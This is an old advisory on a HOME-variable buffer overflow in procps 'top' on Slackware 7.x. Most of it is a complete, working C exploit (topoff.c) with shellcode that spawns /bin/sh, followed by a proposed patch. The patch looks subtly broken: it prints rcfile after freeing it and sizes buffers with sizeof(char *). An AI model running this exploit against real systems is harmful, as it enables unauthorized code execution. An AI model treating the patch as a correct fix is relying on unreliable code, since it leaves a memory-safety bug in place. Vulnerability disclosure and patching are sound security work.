COMMAND
top
SYSTEMS AFFECTED
procps's top
PROBLEM
Ben Lull found folowing. The utility top, included with the
procps package in Slackware Linux, contains multiple buffer
overruns. Although the top utility is not sXid by default, it is
still a problem. Through security comes stability, and by
creating secure applications, you will in turn, create stable
applications. The overflows occur in two different places. When
a call to strcpy() is made, it copies the environmental variable
HOME into the buffer rcfile[1024] without bounds checking.
Included with this post is proof of concept code (topoff.c) for
Slackware Linux 7.0.0 and 7.1.0. Simply remove the comment in
front of '#define RET' for the version of Slackware which you are
testing and compile. When run, the result will be a execve()'ed
/bin/sh. You can also verify that your version of top is
vulnerable by setting the environment HOME to a string greater
then 1023 bytes.
/*
*
* topoff.c (08/02/00)
*
* Live buffer overflow (stack smasher/breaker/etc..)
* Exploits /usr/bin/top on Slackware 7.0.0 and 7.1.0.
* Earlier version should also be assumed vulnerable.
*
* By: Ben Lull (blull@valleylocal.com)
*
*
*
* <--- Begin my Little Babble --->
* You know your bored when you go through utils like top
* which don't have a sXid bit and spend the time generating
* the shell code from scratch and all that fun stuff as
* well as making the code pretty..
*
* Note:
* grep(1) is your friend... example usage:
* me@synchro~> grep -F -n "str" *.c
* me@synchro~> grep -F -n "get" *.c
* me@synchro~> grep -F -n "print" *.c
* me@synchro~> grep -n "\[\]" *.c | grep -F "char"
*
*
*
* Experienced working Offsets:
* (It's obvious, look at the code)
* BUFLEN - strlen(code) - EIP.
*
* You should know this one.
* If you don't.. you shouldn't
* Have toys such as this.
*
*
*
* Exploit Occurs:
*
* top.h:
* 50: #define MAXNAMELEN 1024
*
*
* top.c:
* 211: char rcfile[MAXNAMELEN];
*
* 223: if (getenv("HOME")) {
* 224: strcpy(rcfile, getenv("HOME"));
* 225: strcat(rcfile, "/");
* 226: }
* .
* .
* .
* 1495: if (getenv("HOME")) {
* 1496: strcpy(rcfile, getenv("HOME"));
*
*/
#include <stdio.h>
#include <stdlib.h>
#define OFFSET 0
#define BUFLEN 1032
#define RET 0xbffffb35 /* Slackware 7.1 */
//#define RET 0xbffffafc /* Slackware 7.0 */
#define NOP 0x90
#define TOP "/usr/bin/top"
char code[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\xc9\xc3"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90";
void usage(char *arg) {
fprintf(stderr, "\nUsage: %s [offset up/down] [eip]\n\n", arg);
fprintf(stderr, "Examples:\n");
fprintf(stderr, "\t%s 347 up -=- Default EIP increased by 347 bytes\n", arg);
fprintf(stderr, "\t%s 347 down -=- Default EIP decreased by 347 bytes\n", arg);
fprintf(stderr, "\t%s 429 up 0xbffffad8 -=- EIP set to 0xbffffad8 and increased by 429 bytes\n", arg);
fprintf(stderr, "\t%s 429 down 0xbffffad8 -=- EIP set to 0xbffffad8 and decreased by 429 bytes\n\n", arg);
exit(1);
}
int main(int argc, char *argv[]) {
char *buf, *p;
long *addressp, address;
int offset=OFFSET;
int i;
if((argc < 3) || (argc > 4))
usage(argv[0]);
if(argc == 3) {
if(!strcmp(argv[2], "up")) {
address = RET + atoi(argv[1]);
printf("Increasing offset by: %d\n", atoi(argv[1]));
printf("Increasing EIP to: 0x%x\n\n", RET + atoi(argv[1]));
}
if(!strcmp(argv[2], "down")) {
address = RET - atoi(argv[1]);
printf("Decreasing offset by: %d\n", atoi(argv[1]));
printf("Decreasing EIP to: 0x%x\n\n", RET - atoi(argv[1]));
}
}
if(argc >= 4) {
if(!strcmp(argv[2], "up")) {
address = strtoul(argv[3], NULL, 16) + atoi(argv[1]);
printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16));
printf("Increasing offset by: %d\n", atoi(argv[1]));
printf("Increasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) + atoi(argv[1])));
}
if(!strcmp(argv[2], "down")) {
address = strtoul(argv[3], NULL, 16) + atoi(argv[1]);
printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16));
printf("Decreasing offset by: %d\n", atoi(argv[1]));
printf("Decreasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) - atoi(argv[1])));
}
}
if (!(buf = (char *)malloc(BUFLEN))) {
printf("Can't allocate memory.\n");
exit(-1);
}
p = buf;
addressp = (long *) p;
for (i = 0; i < BUFLEN; i+=4) {
*(addressp++) = address;
}
for (i = 0; i < (BUFLEN - strlen(code) - 4); i++) {
buf[i] = NOP;
}
p = buf + (BUFLEN - strlen(code) - 4);
for (i = 0; i < strlen(code); i++)
*(p++) = code[i];
buf[BUFLEN] = '\0';
/*
* A nifty trick is to run /bin/sh -i and run top manualy.
* This way you can figure out if your going the right way or not
*
* strace/gdb /usr/bin/top
*
*/
setenv("HOME", buf, 1);
system(TOP);
}
SOLUTION
A patch for the most current version of procps (procps-2.0.6) is
attached below. Obtain procps-2.0.6 from any Slackware
distribution site under the source/a/procps/ directory. Unpack
procps-2.0.6.tar.gz and apply the included patch
(procps-2.0.6.patch):
--- top.c Tue Aug 15 21:03:10 2000
+++ top.diff Tue Aug 15 20:57:38 2000
@@ -225,20 +225,35 @@
{
FILE *fp;
char *pt;
- char rcfile[MAXNAMELEN];
+ char *rcfile;
char Options[256] = "";
header_lines = 7;
+
+ if(!(rcfile = (char *)malloc(strlen(SYS_TOPRC)*sizeof(char *)))) {
+ fprintf(stderr, "Unable to malloc()\n");
+ exit(1);
+ }
+
strcpy(rcfile, SYS_TOPRC);
fp = fopen(rcfile, "r");
+
if (fp != NULL) {
fgets(Options, 254, fp);
fclose(fp);
}
+
+ free(rcfile);
parse_options(Options, 0);
strcpy(Options, "");
+
if (getenv("HOME")) {
- strcpy(rcfile, getenv("HOME"));
+ if(!(rcfile = (char *)malloc((strlen(getenv("HOME")) + strlen(RCFILE) + 2)*sizeof(char *)))) {
+ fprintf(stderr, "Unable to malloc()\n");
+ exit(-1);
+ }
+
+ strncpy(rcfile, getenv("HOME"), strlen(getenv("HOME")) + 1);
strcat(rcfile, "/");
}
strcat(rcfile, RCFILE);
@@ -252,6 +267,7 @@
}
fgets(Options, 254, fp);
fclose(fp);
+ free(rcfile);
}
parse_options(Options, getuid()? Secure : 0);
}
@@ -1381,7 +1397,7 @@
void do_key(char c)
{
int numinput, i;
- char rcfile[MAXNAMELEN];
+ char *rcfile;
FILE *fp;
/*
@@ -1583,7 +1599,13 @@
break;
case 'W':
if (getenv("HOME")) {
- strcpy(rcfile, getenv("HOME"));
+
+ if(!(rcfile = (char *)malloc((strlen(getenv("HOME")) + strlen(RCFILE) + 2)*sizeof(char *)))) {
+ fprintf(stderr, "Unable to malloc()\n");
+ exit(-1);
+ }
+
+ strncpy(rcfile, getenv("HOME"), strlen(getenv("HOME")) + 1);
strcat(rcfile, "/");
strcat(rcfile, RCFILE);
fp = fopen(rcfile, "w");
@@ -1611,6 +1633,7 @@
fprintf(fp, "%c", 't');
fprintf(fp, "\n");
fclose(fp);
+ free(rcfile);
SHOWMESSAGE(("Wrote configuration to %s", rcfile));
} else {
SHOWMESSAGE(("Couldn't open %s", rcfile));